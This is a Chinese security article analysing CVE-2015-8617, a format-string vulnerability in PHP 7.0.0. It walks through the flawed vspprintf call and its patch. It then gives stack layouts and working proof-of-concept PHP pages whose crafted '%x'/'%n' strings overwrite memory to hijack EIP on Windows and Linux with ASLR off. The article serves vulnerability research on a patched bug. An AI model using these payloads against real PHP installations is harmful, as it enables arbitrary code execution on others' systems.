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    PHP7.0.0格式化字符串漏洞与EIP劫持分析
    2016-10-13 10:16:24

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

    *本文原创作者:zzz66686,本文属FreeBuf原创奖励计划,未经许可禁止转载 。

    PHP7.0.0的这个格式化字符串漏洞是15年12月在exploit-db上发现的。当初发现时,笔者还在北京东北方向的某信息安全公司上班,那时比较忙,并未能深入探究。最近几天无意间又看到了这个漏洞,发现该漏洞多了一个CVE编号:CVE-2015-8617,于是深入地看了看这个漏洞,在这里对该格式化字符串漏洞进行一些简要分析,并讨论一下利用该漏洞劫持EIP的潜在方法,供各位读者参考。

    1.引言

    在PHP中有两个常见的格式化字符串函数,分别是sppintf()和vsppintf(),它们分别对应sprintf()函数和vsprintf()函数,这两个函数的声明为:

    PHPAPI int spprintf( char **pbuf, size_t max_len, const char *format, ...);
    
    PHPAPI int vspprintf(char **pbuf, size_t max_len, const char *format, va_list ap); 

    通过其函数声明可以看到,spprintf()接收可变数量的参数,而vspprintf()仅接收4个参数。

    虽然这两个函数的内部实现原理是类似的,但笔者不打算就此点进行深入讨论,如有感兴趣读者,可以看一看《程序员的自我修养》一书。关于格式化字符串漏洞的分析文章普遍集中于sprintf()函数,而在本文中则需要重点讨论一下vsprintf()函数,即着重讨论下PHP中的vspprintf()函数。

    2.漏洞分析

    本文所研究的vspprintf()函数在zend_throw_error()函数中,当触发漏洞时,zend_throw_error()函数由zend_throw_or_error()函数调用。zend_throw_or_error()函数不是很长,所以复制其代码如下:

    static void zend_throw_or_error(int fetch_type, zend_class_entry *exception_ce, const char *format, ...)
    {                
    va_list va;
    char *message = NULL;
    va_start(va, format);
    zend_vspprintf(&message, 0, format, va);
    if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {
    zend_throw_error(exception_ce, message); //vul_func
    //zend_throw_error(exception_ce, "%s", message); patched in the subsequent version
    } else {
    zend_error(E_ERROR, "%s", message);
    }
    efree(message);
    va_end(va);
    }

    在上述代码段中,触发漏洞的函数调用已用红色笔标明出,由于调用时少了一个参数导致触发了格式化字符串漏洞。该漏洞的补丁也用红色笔在代码中标明了。

    关于该格式化字符串漏洞,并没有很多需要分析说明的地方,下面开始分别从windows和linux两个环境中讨论利用该漏洞劫持EIP的方法。

    3.windows环境下分析

    为了减少在win7环境下的分析难度,笔者暂且把ASLR关掉。若计划实现稳定的EIP劫持,可能还需要通过其他手段获取一些模块基址,当然这PHP7.0.0格式化字符串漏洞本身也可以泄露一部分有用的内存数据。

    在windows版本的PHP中,其漏洞函数位于php7ts.dll动态链接库中,构造php页面如下:

    <?php                
    $name="%n%n";
    $name::doSomething();
    ?>

    通过调试器启动PHP解析该php页面,执行到程序崩溃时,通过栈回溯,可以找到vspprintf()函数调用(该函数是导出函数,也可以直接在导出表中找到此函数),在该函数的函数头下断点,重新执行,找到即将触发漏洞的某次调用。此时,观察栈中的数据:

    上图中,栈顶是函数返回地址,即返回到zend_throw_error()函数中,接下来的是vspprintf()函数的四个参数。其中,0441E890即为va_list类型的参数。

    这里需要指出的是,如果是传统的spprintf()函数的格式化字符串溢出,则只需要不断地利用%x递增栈上参数数量,最后利用%n实现覆盖函数返回地址即可有效地实现劫持EIP。但是此处是vspprintf()函数的,只接受4个参数,所以如果打算继续劫持EIP,则需要研究一下va_list,va_list在不同环境下的定义略有不同,这里我们可以粗略地定义va_list类型如下:

    #define va_list void* 

    即认为va_list是一个指向可变数量参数的指针。在vspprintf()函数中,对于%x的处理是直接取va_list指向的内容,如下图:

    其中,0441E890即为va_list的起始地址,通过图1的第四个参数可以观察到。对于第一个%x,则输出0565D3C0;对于第二个%x,则输出96E436E2;对于第三个%x,则输出0441E8C4,以此类推下去。

    在vspprintf()函数中,对于%n的处理则较为麻烦,它不会像%x那样直接依次地读写下去,而是取va_list指向的参数表的每个参数作为指针,进而覆盖该指针所指向的内容。结合图2,具体叙述如下:对于第一个%n,则覆盖0565D3C0所指向的内容,对于第二个%n,则覆盖96E436E2所指向的内容,此时PHP就崩溃了,因为该地址是无效的。

    此时,是无法直接覆盖函数的返回地址。为实现劫持EIP的目的,需要在栈上找一个二级指针。该二级指针取值第一次为保存函数返回地址变量的地址,取值两次为函数返回地址变量的值。但笔者在栈上并没有找到所需的二级指针,所以,笔者只能选择构造一个这样子的指针,其构造方法如下:

    1,首先在栈上选择一个合适位置,该位置存储内容指向栈的另一个位置,指向位置大于且接近该位置的地址。

    复制部分栈内容如下:

    0441E890   0565D3C0
    0441E894   96E436E2
    0441E898   0441E8C4< ------- 合适
    0441E89C   102F8BE2
    0441E8A0   00000200

    正如上表所示,0441E8C4就是4字节对齐的,大于且接近0441E898,是一个非常合适的栈位置。

    2,通过上一步找到的合适位置,覆盖0441E8C4的内容,使其指向栈上保存函数返回地址的地址。

    在笔者调试时,将其覆盖为0441E82C,即当前函数返回到vspprintf()函数的返回地址:

    3,第一次覆盖之后,用%x继续在栈上滑行,直到0441E8C4的位置,此时将会第二次覆盖0441E82C的内容,使其指向我们需要跳转的位置,比方说跳转到04422222的位置。

    按照上述思路,其栈空间的内容大致如下:

    …
    0441E824  96E40112
    0441E828  96E43659
    0441E82C   04422222 <-----第二次覆盖
    0441E830  0565D3C0
    0441E834  0441E890
    …
    0441E890  0565D3C0 < -----起始
    0441E894  96E436E2
    0441E898  0441E8C4 <-----合适位置
    0441E89C   102F8BE2
    0441E8A0   00000200
    …
    0441E8BC    05614006
    0441E8C0   96E436C2
    0441E8C4    0441E82C <-----第一次覆盖
    0441E8C8   103865E9
    0441E8CC    056631C0
    …
    

    基于此,笔者尝试构造php页面如下:

    <?php                
    $name="%71428125x%x%n%x%x%x%x%x%x%x%x%x%14788x%n";
    $name::doSomething();
    ?>

    当PHP解析该页面的时候,首先输出2个%x后,遇到第一个%n,则会覆盖0441E8C4覆盖为0441E82C;继续跳过10个%x后,遇到第二个%n,则会覆盖0441E82C覆盖为04422222。

    其运行结果如下图所示:

    单步执行后,就会来到04422222的位置:

    Windows环境下的分析就到此位置,至于出现的几个常数:71428125和14788以及10个%x从何而来,相信读者自己也能想到。至于是否可以在栈上构造一些合适的数据,最后通过ROP实现EXP,这点也留给读者自己考虑分析一下吧。

    4.Linux环境下分析

    Linux环境下,同样先把ASLR关掉,用以减少我们的分析难度。与Windows环境下的分析略有不同,由于Linux环境下的栈基址比较高,如下图所示:

    声明一个如此之长的字符串,容易出现各种各样的问题,所以笔者只好放弃直接覆盖函数返回地址实现劫持EIP的方法。

    这里考虑另一种劫持EIP的方法,覆盖对象虚表的方法(一般情况下有三种常见的方法,在笔者之前的分析《kill.exe溢出漏洞分析与EXP讨论》中有提到,感兴趣的读者可以看一下)。构造合适的php页面,令PHP不崩溃,而是让其继续下去的话,就会发现PHP接下来将要调用_object_init_ex()函数,初始化异常对象。该初始化函数会进一步调用object_and_properties_init()函数,而在此函数中,会调用对象虚表中的函数,关键代码段如下:

    object_and_properties_init()                
    {

    mov ebx, [esp+0Ch+class_type]

    mov eax, [ebx+0FCh]

    call eax ; call [[esp+0Ch+class_type]+0FCh]

    }

    考虑到此时存储在[esp+0Ch+class_type]+0FCh的值比较小,可以尝试利用此处的call eax实现劫持EIP。

    选择在第3章节描述的二次覆盖方法,可以构造栈空间如下:

    …
    08948F5C 08945D4C
    08948F60 08945D50
    08948F64 08955555 < -----第二次覆盖
    08948F68 00000000
    08948F6C 00000000
    …
    BFFFBF94 B5C650A0< -----起始
    BFFFBF98 087F41E7
    BFFFBF9C BFFFBFCC < -----合适位置
    BFFFBFA0 0895F890
    BFFFBFA4 00000000
    …
    BFFFBFC4 00000000
    BFFFBFC8 087F41E7
    BFFFBFCC 08948F64< -----第一次覆盖
    BFFFBFD0 B5C14020
    BFFFBFD4 B5C74054
    …

    基于以上讨论,笔者构造php页面如下:

    <?php                
    ini_set("memory_limit", "2G");
    $name="%143953757x%n%x%x%x%x%x%x%x%x%x%x%50621x%n";
    $name::doSomething();
    ?>

    当PHP在解析该页时,第一次遇到%n将会覆盖8FFFBFCC位置的数据为08948F64;而第二次遇到%n时,将08948F4位置的数据覆盖为08955555。此后,程序会正常执行,直到call eax指令的位置:

    此时,PHP将跳转到我们指定的地址继续执行,在上图中为8955555地址。

    值得庆幸的是,在Linux环境中,并没有Windows环境的CFG保护。如果存在CFG保护,即有/GUARD:CF标记,将可能导致此种利用方式失败。

    Linux环境下的分析也就到此位置,至于出现的几个常数:143953757和50621以及11个%x从何而来,相信读者自己也能想到。至于是否可以实现有效的EXP,这点也留给读者自己考虑分析一下吧。

    5.小结

    本文简要地分析了PHP7.0.0格式化字符串漏洞,并在windows和linux两种不同的环境下,给出了运用该漏洞劫持EIP的方法。但需要指出的是,本文所有的分析都在禁用了ASLR的场景之下进行的,若打算实际利用该漏洞,还需要获取一些模块基址等其他有用信息。而关于这些,笔者就不再多说,还是交给感兴趣的读者自己研究吧。

    *本文原创作者:zzz66686,本文属FreeBuf原创奖励计划,未经许可禁止转载 。

    本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

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